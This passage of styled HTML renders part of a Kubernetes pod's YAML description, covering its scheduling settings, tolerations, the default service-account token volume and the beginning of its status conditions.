style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">md</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">0</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">zrxl6</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">t7fdk7          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">preemptionPolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> PreemptLowerPriority          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">priority</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">0</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">restartPolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Always          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">schedulerName</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> default</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">scheduler          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">securityContext</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">{}</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">serviceAccount</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> default          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">serviceAccountName</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> default          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">terminationGracePeriodSeconds</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">30</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">tolerations</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">effect</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> NoExecute          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">key</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> node.kubernetes.io/not</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">ready          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">operator</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Exists          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">tolerationSeconds</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">300</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">effect</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> NoExecute          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">key</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> node.kubernetes.io/unreachable          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">operator</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Exists          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">tolerationSeconds</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">300</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">volumes</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> kube</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">api</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">access</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">r7pkx          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">projected</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">defaultMode</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">420</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">sources</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">serviceAccountToken</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">expirationSeconds</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">3607</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">path</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> token          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">configMap</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">items</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">key</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ca.crt          <br/><span style="mso-spacerun:yes;">            </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">path</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ca.crt          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> kube</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">root</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">ca.crt          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">downwardAPI</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">items</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">fieldRef</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">              </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">apiVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> v1          <br/><span style="mso-spacerun:yes;">              </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">fieldPath</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> metadata.namespace          <br/><span style="mso-spacerun:yes;">            </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">path</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> namespace</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>status</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">conditions</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastProbeTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">null</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastTransitionTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-<span style="color: rgb(102, 153, 0);font-family: Consolas;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(246, 245, 245);">30</span>T04:39:56Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">status</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;True&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei 